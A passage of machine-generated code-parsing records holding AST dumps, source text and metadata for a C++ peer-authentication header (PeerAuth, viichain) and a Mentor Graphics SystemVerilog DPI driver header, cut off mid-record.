"end_point": {"row": 22, "column": 45}}, {"id": 58, "type": "identifier", "text": "role", "parent": 54, "children": [], "start_point": {"row": 22, "column": 46}, "end_point": {"row": 22, "column": 50}}, {"id": 59, "type": "labeled_statement", "text": "public:\n PeerAuth(Application& app);", "parent": 21, "children": [], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 25, "column": 31}}, {"id": 60, "type": "call_expression", "text": "PeerAuth(Application& app)", "parent": 59, "children": [61, 62], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 30}}, {"id": 61, "type": "identifier", "text": "PeerAuth", "parent": 60, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 12}}, {"id": 62, "type": "argument_list", "text": "(Application& app)", "parent": 60, "children": [63], "start_point": {"row": 25, "column": 12}, "end_point": {"row": 25, "column": 30}}, {"id": 63, "type": "binary_expression", "text": "Application& app", "parent": 62, "children": [64, 65], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 29}}, {"id": 64, "type": "identifier", "text": "Application", "parent": 63, "children": [], "start_point": {"row": 25, "column": 13}, "end_point": {"row": 25, "column": 24}}, {"id": 65, "type": "identifier", "text": "app", "parent": 63, "children": [], "start_point": {"row": 25, "column": 26}, "end_point": {"row": 25, "column": 29}}, {"id": 66, "type": "declaration", "text": "AuthCert getAuthCert();", "parent": 21, "children": [67, 68], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 27}}, {"id": 67, "type": "type_identifier", "text": "AuthCert", "parent": 66, "children": [], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 12}}, {"id": 68, "type": "function_declarator", "text": "getAuthCert()", "parent": 66, "children": [69, 70], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 26}}, {"id": 69, "type": "identifier", "text": "getAuthCert", "parent": 68, "children": [], "start_point": {"row": 27, "column": 13}, "end_point": {"row": 27, "column": 24}}, {"id": 70, "type": "parameter_list", "text": "()", "parent": 68, "children": [], "start_point": {"row": 27, "column": 24}, "end_point": {"row": 27, "column": 26}}, {"id": 71, "type": "declaration", "text": "bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);", "parent": 21, "children": [72, 73], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 78}}, {"id": 72, "type": "primitive_type", "text": "bool", "parent": 71, "children": [], "start_point": {"row": 28, "column": 4}, "end_point": {"row": 28, "column": 8}}, {"id": 73, "type": "function_declarator", "text": "verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert)", "parent": 71, "children": [74, 75], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 77}}, {"id": 74, "type": "identifier", "text": "verifyRemoteAuthCert", "parent": 73, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 29}}, {"id": 75, "type": "parameter_list", "text": "(NodeID const& remoteNode, AuthCert const& cert)", "parent": 73, "children": [76, 79], "start_point": {"row": 28, "column": 29}, "end_point": {"row": 28, "column": 77}}, {"id": 76, "type": "parameter_declaration", "text": "NodeID const& remoteNode", "parent": 75, "children": [77, 78], "start_point": {"row": 28, "column": 30}, "end_point": {"row": 28, "column": 54}}, {"id": 77, "type": "type_identifier", "text": "NodeID", "parent": 76, "children": [], "start_point": {"row": 28, "column": 30}, "end_point": {"row": 28, "column": 36}}, {"id": 78, "type": "identifier", "text": "remoteNode", "parent": 76, "children": [], "start_point": {"row": 28, "column": 44}, "end_point": {"row": 28, "column": 54}}, {"id": 79, "type": "parameter_declaration", "text": "AuthCert const& cert", "parent": 75, "children": [80, 81], "start_point": {"row": 28, "column": 56}, "end_point": {"row": 28, "column": 76}}, {"id": 80, "type": "type_identifier", "text": "AuthCert", "parent": 79, "children": [], "start_point": {"row": 28, "column": 56}, "end_point": {"row": 28, "column": 64}}, {"id": 81, "type": "identifier", "text": "cert", "parent": 79, "children": [], "start_point": {"row": 28, "column": 72}, "end_point": {"row": 28, "column": 76}}, {"id": 82, "type": "declaration", "text": "HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);", "parent": 21, "children": [83, 84], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 33, "column": 56}}, {"id": 83, "type": "type_identifier", "text": "HmacSha256Key", "parent": 82, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 17}}, {"id": 84, "type": "function_declarator", "text": "getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)", "parent": 82, "children": [85, 86], "start_point": {"row": 30, "column": 18}, "end_point": {"row": 33, "column": 55}}, {"id": 85, "type": "identifier", "text": "getSendingMacKey", "parent": 84, "children": [], "start_point": {"row": 30, "column": 18}, "end_point": {"row": 30, "column": 34}}, {"id": 86, "type": "parameter_list", "text": "(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)", "parent": 84, "children": [87, 90, 93, 96], "start_point": {"row": 30, "column": 34}, "end_point": {"row": 33, "column": 55}}, {"id": 87, "type": "parameter_declaration", "text": "Curve25519Public const& remotePublic", "parent": 86, "children": [88, 89], "start_point": {"row": 30, "column": 35}, "end_point": {"row": 30, "column": 71}}, {"id": 88, "type": "type_identifier", "text": "Curve25519Public", "parent": 87, "children": [], "start_point": {"row": 30, "column": 35}, "end_point": {"row": 30, "column": 51}}, {"id": 89, "type": "identifier", "text": "remotePublic", "parent": 87, "children": [], "start_point": {"row": 30, "column": 59}, "end_point": {"row": 30, "column": 71}}, {"id": 90, "type": "parameter_declaration", "text": "uint256 const& localNonce", "parent": 86, "children": [91, 92], "start_point": {"row": 31, "column": 35}, "end_point": {"row": 31, "column": 60}}, {"id": 91, "type": "type_identifier", "text": "uint256", "parent": 90, "children": [], "start_point": {"row": 31, "column": 35}, "end_point": {"row": 31, "column": 42}}, {"id": 92, "type": "identifier", "text": "localNonce", "parent": 90, "children": [], "start_point": {"row": 31, "column": 50}, "end_point": {"row": 31, "column": 60}}, {"id": 93, "type": "parameter_declaration", "text": "uint256 const& remoteNonce", "parent": 86, "children": [94, 95], "start_point": {"row": 32, "column": 35}, "end_point": {"row": 32, "column": 61}}, {"id": 94, "type": "type_identifier", "text": "uint256", "parent": 93, "children": [], "start_point": {"row": 32, "column": 35}, "end_point": {"row": 32, "column": 42}}, {"id": 95, "type": "identifier", "text": "remoteNonce", "parent": 93, "children": [], "start_point": {"row": 32, "column": 50}, "end_point": {"row": 32, "column": 61}}, {"id": 96, "type": "parameter_declaration", "text": "Peer::PeerRole role", "parent": 86, "children": [97, 98, 100], "start_point": {"row": 33, "column": 35}, "end_point": {"row": 33, "column": 54}}, {"id": 97, "type": "type_identifier", "text": "Peer", "parent": 96, "children": [], "start_point": {"row": 33, "column": 35}, "end_point": {"row": 33, "column": 39}}, {"id": 98, "type": "ERROR", "text": "::PeerRole", "parent": 96, "children": [99], "start_point": {"row": 33, "column": 39}, "end_point": {"row": 33, "column": 49}}, {"id": 99, "type": "identifier", "text": "PeerRole", "parent": 98, "children": [], "start_point": {"row": 33, "column": 41}, "end_point": {"row": 33, "column": 49}}, {"id": 100, "type": "identifier", "text": "role", "parent": 96, "children": [], "start_point": {"row": 33, "column": 50}, "end_point": {"row": 33, "column": 54}}, {"id": 101, "type": "declaration", "text": "HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);", "parent": 21, "children": [102, 103], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 37, "column": 58}}, {"id": 102, "type": "type_identifier", "text": "HmacSha256Key", "parent": 101, "children": [], "start_point": {"row": 34, "column": 4}, "end_point": {"row": 34, "column": 17}}, {"id": 103, "type": "function_declarator", "text": "getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)", "parent": 101, "children": [104, 105], "start_point": {"row": 34, "column": 18}, "end_point": {"row": 37, "column": 57}}, {"id": 104, "type": "identifier", "text": "getReceivingMacKey", "parent": 103, "children": [], "start_point": {"row": 34, "column": 18}, "end_point": {"row": 34, "column": 36}}, {"id": 105, "type": "parameter_list", "text": "(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role)", "parent": 103, "children": [106, 109, 112, 115], "start_point": {"row": 34, "column": 36}, "end_point": {"row": 37, "column": 57}}, {"id": 106, "type": "parameter_declaration", "text": "Curve25519Public const& remotePublic", "parent": 105, "children": [107, 108], "start_point": {"row": 34, "column": 37}, "end_point": {"row": 34, "column": 73}}, {"id": 107, "type": "type_identifier", "text": "Curve25519Public", "parent": 106, "children": [], "start_point": {"row": 34, "column": 37}, "end_point": {"row": 34, "column": 53}}, {"id": 108, "type": "identifier", "text": "remotePublic", "parent": 106, "children": [], "start_point": {"row": 34, "column": 61}, "end_point": {"row": 34, "column": 73}}, {"id": 109, "type": "parameter_declaration", "text": "uint256 const& localNonce", "parent": 105, "children": [110, 111], "start_point": {"row": 35, "column": 37}, "end_point": {"row": 35, "column": 62}}, {"id": 110, "type": "type_identifier", "text": "uint256", "parent": 109, "children": [], "start_point": {"row": 35, "column": 37}, "end_point": {"row": 35, "column": 44}}, {"id": 111, "type": "identifier", "text": "localNonce", "parent": 109, "children": [], "start_point": {"row": 35, "column": 52}, "end_point": {"row": 35, "column": 62}}, {"id": 112, "type": "parameter_declaration", "text": "uint256 const& remoteNonce", "parent": 105, "children": [113, 114], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 63}}, {"id": 113, "type": "type_identifier", "text": "uint256", "parent": 112, "children": [], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 44}}, {"id": 114, "type": "identifier", "text": "remoteNonce", "parent": 112, "children": [], "start_point": {"row": 36, "column": 52}, "end_point": {"row": 36, "column": 63}}, {"id": 115, "type": "parameter_declaration", "text": "Peer::PeerRole role", "parent": 105, "children": [116, 117, 119], "start_point": {"row": 37, "column": 37}, "end_point": {"row": 37, "column": 56}}, {"id": 116, "type": "type_identifier", "text": "Peer", "parent": 115, "children": [], "start_point": {"row": 37, "column": 37}, "end_point": {"row": 37, "column": 41}}, {"id": 117, "type": "ERROR", "text": "::PeerRole", "parent": 115, "children": [118], "start_point": {"row": 37, "column": 41}, "end_point": {"row": 37, "column": 51}}, {"id": 118, "type": "identifier", "text": "PeerRole", "parent": 117, "children": [], "start_point": {"row": 37, "column": 43}, "end_point": {"row": 37, "column": 51}}, {"id": 119, "type": "identifier", "text": "role", "parent": 115, "children": [], "start_point": {"row": 37, "column": 52}, "end_point": {"row": 37, "column": 56}}]}, "node_categories": {"declarations": {"functions": [18, 21, 48, 68, 73, 84, 103], "variables": [26, 29, 32, 46, 51, 54, 66, 71, 76, 79, 82, 87, 90, 93, 96, 101, 106, 109, 112, 115], "classes": [], "imports": [3, 4, 6, 7, 9, 10, 12, 13, 15, 16], "modules": [], "enums": []}, "statements": {"expressions": [23, 37, 38, 42, 60, 63], "assignments": [], "loops": [], "conditionals": [19, 20, 22, 24, 25, 27, 28, 30, 31, 33, 34, 36, 39, 41, 43, 45, 47, 49, 52, 53, 55, 57, 58, 61, 64, 65, 67, 69, 74, 77, 78, 80, 81, 83, 85, 88, 89, 91, 92, 94, 95, 97, 99, 100, 102, 104, 107, 108, 110, 111, 113, 114, 116, 118, 119], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8, 11, 14, 17], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 18, "universal_type": "function", "name": "PeerAuth", "text_snippet": "namespace viichain\n{\nclass PeerAuth\n{\n \n Application& mApp"}, {"node_id": 21, "universal_type": "function", "name": "PeerAuth", "text_snippet": "class PeerAuth\n{\n \n Application& mApp;\n Curve25519Secre"}, {"node_id": 48, "universal_type": "function", "name": "unknown", "text_snippet": "getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole rol"}, {"node_id": 68, "universal_type": "function", "name": "unknown", "text_snippet": "getAuthCert()"}, {"node_id": 73, "universal_type": "function", "name": "unknown", "text_snippet": "verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert)"}, {"node_id": 84, "universal_type": "function", "name": "unknown", "text_snippet": "getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 co"}, {"node_id": 103, "universal_type": "function", "name": "unknown", "text_snippet": "getReceivingMacKey(Curve25519Public const& remotePublic,\n uint25"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include \"crypto/ECDH.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"overlay/Peer.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include \"overlay/PeerSharedKeyId.h\"\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include \"util/lrucache.hpp\"\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include \"xdr/vii-types.h\"\n"}, {"node_id": 16, "text": "#include"}]}, "original_source_code": "#pragma once\n\n#include \"crypto/ECDH.h\"\n#include \"overlay/Peer.h\"\n#include \"overlay/PeerSharedKeyId.h\"\n#include \"util/lrucache.hpp\"\n#include \"xdr/vii-types.h\"\n\n\nnamespace viichain\n{\nclass PeerAuth\n{\n \n Application& mApp;\n Curve25519Secret mECDHSecretKey;\n Curve25519Public mECDHPublicKey;\n AuthCert mCert;\n\n cache::lru_cache<PeerSharedKeyId, HmacSha256Key> mSharedKeyCache;\n\n HmacSha256Key getSharedKey(Curve25519Public const& remotePublic,\n Peer::PeerRole role);\n\n public:\n PeerAuth(Application& app);\n\n AuthCert getAuthCert();\n bool verifyRemoteAuthCert(NodeID const& remoteNode, AuthCert const& cert);\n\n HmacSha256Key getSendingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n HmacSha256Key getReceivingMacKey(Curve25519Public const& remotePublic,\n uint256 const& localNonce,\n uint256 const& remoteNonce,\n Peer::PeerRole role);\n};\n}\n"}
81,143
c
/* MTI_DPI */ /* * Copyright 2002-2008 Mentor Graphics Corporation. * * Note: * This file is automatically generated. * Please do not edit this file - you will lose your edits. * * Settings when this file was generated: * PLATFORM = 'linux_x86_64' */ #ifndef INCLUDED_MAC_FEDRIVER #define INCLUDED_MAC_FEDRIVER #ifdef __cplusplus #define DPI_LINK_DECL extern "C" #else #define DPI_LINK_DECL #endif #include "svdpi.h" typedef struct { int rxdv; int rx_data; } rx_response_type; typedef struct { int tx_en; int tx_data; } tx_request_type; DPI_LINK_DECL DPI_DLLESPEC void init_driver(); DPI_LINK_DECL DPI_DLLESPEC void transfer_rx( rx_response_type* req); DPI_LINK_DECL DPI_DLLESPEC void transfer_tx( const tx_request_type* req); #endif
18.43
40
(translation_unit) "/* MTI_DPI */\n\n/*\n * Copyright 2002-2008 Mentor Graphics Corporation.\n *\n * Note:\n * This file is automatically generated.\n * Please do not edit this file - you will lose your edits.\n *\n * Settings when this file was generated:\n * PLATFORM = 'linux_x86_64'\n */\n#ifndef INCLUDED_MAC_FEDRIVER\n#define INCLUDED_MAC_FEDRIVER\n\n#ifdef __cplusplus\n#define DPI_LINK_DECL extern "C" \n#else\n#define DPI_LINK_DECL \n#endif\n\n#include "svdpi.h"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);\n\n#endif \n" (comment) "/* MTI_DPI */" (comment) "/*\n * Copyright 2002-2008 Mentor Graphics Corporation.\n *\n * Note:\n * This file is automatically generated.\n * Please do not edit this file - you will lose your edits.\n *\n * Settings when this file was generated:\n * PLATFORM = 'linux_x86_64'\n */" (preproc_ifdef) "#ifndef INCLUDED_MAC_FEDRIVER\n#define INCLUDED_MAC_FEDRIVER\n\n#ifdef __cplusplus\n#define DPI_LINK_DECL extern "C" \n#else\n#define DPI_LINK_DECL \n#endif\n\n#include "svdpi.h"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);\n\n#endif" (#ifndef) "#ifndef" (identifier) "INCLUDED_MAC_FEDRIVER" (preproc_def) "#define INCLUDED_MAC_FEDRIVER\n" (#define) "#define" (identifier) "INCLUDED_MAC_FEDRIVER" (preproc_ifdef) "#ifdef __cplusplus\n#define DPI_LINK_DECL extern "C" \n#else\n#define DPI_LINK_DECL \n#endif\n\n#include "svdpi.h"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);\n\n#endif" (#ifdef) "#ifdef" (identifier) "__cplusplus" (preproc_def) "#define DPI_LINK_DECL extern "C" \n" (#define) "#define" (identifier) "DPI_LINK_DECL" (preproc_arg) "extern "C" " (preproc_else) "#else\n#define DPI_LINK_DECL \n#endif\n\n#include "svdpi.h"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);" (#else) "#else" (preproc_def) "#define DPI_LINK_DECL \n#endif\n" (#define) "#define" (identifier) "DPI_LINK_DECL" (preproc_arg) "#endif" (preproc_include) "#include "svdpi.h"\n" (#include) "#include" (string_literal) ""svdpi.h"" (") """ (string_content) "svdpi.h" (") """ (type_definition) "typedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;" (typedef) "typedef" (struct_specifier) "struct {\n int rxdv;\n int rx_data;\n}" (struct) "struct" (field_declaration_list) "{\n int rxdv;\n int rx_data;\n}" ({) "{" (field_declaration) "int rxdv;" (primitive_type) "int" (field_identifier) "rxdv" (;) ";" (field_declaration) "int rx_data;" (primitive_type) "int" (field_identifier) "rx_data" (;) ";" (}) "}" (type_identifier) "rx_response_type" (;) ";" (type_definition) "typedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;" (typedef) "typedef" (struct_specifier) "struct {\n int tx_en;\n int tx_data;\n}" (struct) "struct" (field_declaration_list) "{\n int tx_en;\n int tx_data;\n}" ({) "{" (field_declaration) "int tx_en;" (primitive_type) "int" (field_identifier) "tx_en" (;) ";" (field_declaration) "int tx_data;" (primitive_type) "int" (field_identifier) "tx_data" (;) ";" (}) "}" (type_identifier) "tx_request_type" (;) ";" (declaration) "DPI_LINK_DECL DPI_DLLESPEC" (type_identifier) "DPI_LINK_DECL" (identifier) "DPI_DLLESPEC" (;) "" (declaration) "void\ninit_driver();" (primitive_type) "void" (function_declarator) "init_driver()" (identifier) "init_driver" (parameter_list) "()" (() "(" ()) ")" (;) ";" (declaration) "DPI_LINK_DECL DPI_DLLESPEC" (type_identifier) "DPI_LINK_DECL" (identifier) "DPI_DLLESPEC" (;) "" (declaration) "void\ntransfer_rx(\n rx_response_type* req);" (primitive_type) "void" (function_declarator) "transfer_rx(\n rx_response_type* req)" (identifier) "transfer_rx" (parameter_list) "(\n rx_response_type* req)" (() "(" (parameter_declaration) "rx_response_type* req" (type_identifier) "rx_response_type" (pointer_declarator) "* req" (*) "*" (identifier) "req" ()) ")" (;) ";" (declaration) "DPI_LINK_DECL DPI_DLLESPEC" (type_identifier) "DPI_LINK_DECL" (identifier) "DPI_DLLESPEC" (;) "" (declaration) "void\ntransfer_tx(\n const tx_request_type* req);" (primitive_type) "void" (function_declarator) "transfer_tx(\n const tx_request_type* req)" (identifier) "transfer_tx" (parameter_list) "(\n const tx_request_type* req)" (() "(" (parameter_declaration) "const tx_request_type* req" (type_qualifier) "const" (const) "const" (type_identifier) "tx_request_type" (pointer_declarator) "* req" (*) "*" (identifier) "req" ()) ")" (;) ";" (#endif) "#endif" (#endif) ""
112
0
{"language": "c", "success": true, "metadata": {"lines": 40, "avg_line_length": 18.43, "nodes": 80, "errors": 0, "source_hash": "6f92520d8acffb4296d80cd216e52fc78c3a375047fd65eefa6523dc07074a9a", "categorized_nodes": 54}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef INCLUDED_MAC_FEDRIVER\n#define INCLUDED_MAC_FEDRIVER\n\n#ifdef __cplusplus\n#define DPI_LINK_DECL extern \"C\" \n#else\n#define DPI_LINK_DECL \n#endif\n\n#include \"svdpi.h\"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 79], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 48, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 2, "type": "identifier", "text": "INCLUDED_MAC_FEDRIVER", "parent": 0, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 29}}, {"id": 3, "type": "preproc_def", "text": "#define INCLUDED_MAC_FEDRIVER\n", "parent": 0, "children": [4, 5], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 7}}, {"id": 5, "type": "identifier", "text": "INCLUDED_MAC_FEDRIVER", "parent": 3, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 29}}, {"id": 6, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\n#define DPI_LINK_DECL extern \"C\" \n#else\n#define DPI_LINK_DECL \n#endif\n\n#include \"svdpi.h\"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);\n\n#endif", "parent": 0, "children": [7, 8, 9, 13, 78], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 48, "column": 6}}, {"id": 7, "type": "#ifdef", "text": "#ifdef", "parent": 6, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 6}}, {"id": 8, "type": "identifier", "text": "__cplusplus", "parent": 6, "children": [], "start_point": {"row": 15, "column": 7}, "end_point": {"row": 15, "column": 18}}, {"id": 9, "type": "preproc_def", "text": "#define DPI_LINK_DECL extern \"C\" \n", "parent": 6, "children": [10, 11, 12], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 17, "column": 0}}, {"id": 10, "type": "#define", "text": "#define", "parent": 9, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 7}}, {"id": 11, "type": "identifier", "text": "DPI_LINK_DECL", "parent": 9, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 21}}, {"id": 12, "type": "preproc_arg", "text": "extern \"C\" ", "parent": 9, "children": [], "start_point": {"row": 16, "column": 23}, "end_point": {"row": 16, "column": 34}}, {"id": 13, "type": "preproc_else", "text": "#else\n#define DPI_LINK_DECL \n#endif\n\n#include \"svdpi.h\"\n\n\ntypedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;\n\ntypedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ninit_driver();\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_rx(\n rx_response_type* req);\n\nDPI_LINK_DECL DPI_DLLESPEC\nvoid\ntransfer_tx(\n const tx_request_type* req);", "parent": 6, "children": [14, 15, 19, 22, 33, 44, 47, 52, 55, 65, 68], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 46, "column": 32}}, {"id": 14, "type": "#else", "text": "#else", "parent": 13, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 5}}, {"id": 15, "type": "preproc_def", "text": "#define DPI_LINK_DECL \n#endif\n", "parent": 13, "children": [16, 17, 18], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 20, "column": 0}}, {"id": 16, "type": "#define", "text": "#define", "parent": 15, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 7}}, {"id": 17, "type": "identifier", "text": "DPI_LINK_DECL", "parent": 15, "children": [], "start_point": {"row": 18, "column": 8}, "end_point": {"row": 18, "column": 21}}, {"id": 18, "type": "preproc_arg", "text": "#endif", "parent": 15, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 6}}, {"id": 19, "type": "preproc_include", "text": "#include \"svdpi.h\"\n", "parent": 13, "children": [20, 21], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 20, "type": "#include", "text": "#include", "parent": 19, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 8}}, {"id": 21, "type": "string_literal", "text": "\"svdpi.h\"", "parent": 19, "children": [], "start_point": {"row": 21, "column": 9}, "end_point": {"row": 21, "column": 18}}, {"id": 22, "type": "type_definition", "text": "typedef struct {\n int rxdv;\n int rx_data;\n} rx_response_type;", "parent": 13, "children": [23, 24, 32], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 27, "column": 19}}, {"id": 23, "type": "typedef", "text": "typedef", "parent": 22, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 7}}, {"id": 24, "type": "struct_specifier", "text": "struct {\n int rxdv;\n int rx_data;\n}", "parent": 22, "children": [25], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 27, "column": 1}}, {"id": 25, "type": "struct", "text": "struct", "parent": 24, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 14}}, {"id": 26, "type": "field_declaration", "text": "int rxdv;", "parent": 24, "children": [27, 28], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 13}}, {"id": 27, "type": "primitive_type", "text": "int", "parent": 26, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 7}}, {"id": 28, "type": "field_identifier", "text": "rxdv", "parent": 26, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 12}}, {"id": 29, "type": "field_declaration", "text": "int rx_data;", "parent": 24, "children": [30, 31], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 16}}, {"id": 30, "type": "primitive_type", "text": "int", "parent": 29, "children": [], "start_point": {"row": 26, "column": 4}, "end_point": {"row": 26, "column": 7}}, {"id": 31, "type": "field_identifier", "text": "rx_data", "parent": 29, "children": [], "start_point": {"row": 26, "column": 8}, "end_point": {"row": 26, "column": 15}}, {"id": 32, "type": "type_identifier", "text": "rx_response_type", "parent": 22, "children": [], "start_point": {"row": 27, "column": 2}, "end_point": {"row": 27, "column": 18}}, {"id": 33, "type": "type_definition", "text": "typedef struct {\n int tx_en;\n int tx_data;\n} tx_request_type;", "parent": 13, "children": [34, 35, 43], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 32, "column": 18}}, {"id": 34, "type": "typedef", "text": "typedef", "parent": 33, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 7}}, {"id": 35, "type": "struct_specifier", "text": "struct {\n int tx_en;\n int tx_data;\n}", "parent": 33, "children": [36], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 32, "column": 1}}, {"id": 36, "type": "struct", "text": "struct", "parent": 35, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 14}}, {"id": 37, "type": "field_declaration", "text": "int tx_en;", "parent": 35, "children": [38, 39], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 14}}, {"id": 38, "type": "primitive_type", "text": "int", "parent": 37, "children": [], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 30, "column": 7}}, {"id": 39, "type": "field_identifier", "text": "tx_en", "parent": 37, "children": [], "start_point": {"row": 30, "column": 